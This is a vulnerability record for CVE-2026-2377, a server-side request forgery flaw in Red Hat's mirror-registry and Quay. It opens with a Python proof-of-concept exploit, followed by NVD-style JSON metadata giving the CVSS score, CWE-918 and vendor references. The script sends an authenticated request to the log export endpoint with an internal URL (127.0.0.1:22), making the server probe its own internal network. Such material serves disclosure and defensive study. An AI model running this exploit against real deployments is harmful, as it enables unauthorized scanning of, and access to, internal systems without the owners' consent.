CVE-2026-2377

import requests # Exploit Title: mirror-registry Log Export SSRF (CVE-2026-2377) # Vulnerability Type: Server-Side Request Forgery # Target URL (example) target_url = "http://vulnerable-host/api/v1/logs/export" # Malicious internal URL to scan internal_url = "http://127.0.0.1:22" # Checking if SSH is running internally # Headers with Authorization (PR:L requires auth) headers = { "Authorization": "Bearer <valid-auth-token>", "Content-Type": "application/json" } # Payload triggering the SSRF payload = { "url": internal_url } try: print(f"[+] Sending request to {target_url} with payload: {payload}") response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful. Check response length/timing for port status.") print(f"Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-2377", "sourceIdentifier": "[email protected]", "published": "2026-04-08T17:21:16.237", "lastModified": "2026-05-20T04:16:47.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in mirror-registry. Authenticated users can exploit the log export feature by providing a specially crafted web address (URL). This allows the application's backend to make arbitrary requests to internal network resources, a vulnerability known as Server-Side Request Forgery (SSRF). This could lead to unauthorized access to sensitive information or other internal systems."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:mirror_registry_for_red_hat_openshift:-:*:*:*:*:*:*:*", "matchCriteriaId": "63757310-FC5B-44E6-9211-36269827BC56"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:mirror_registry_for_red_hat_openshift:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "281E6AA4-1E08-488F-BA7A-F0BE7CF42A5B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:quay:3.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "B1987BDA-0113-4603-B9BE-76647EB043F2"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:19375", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-2377", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2439201", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}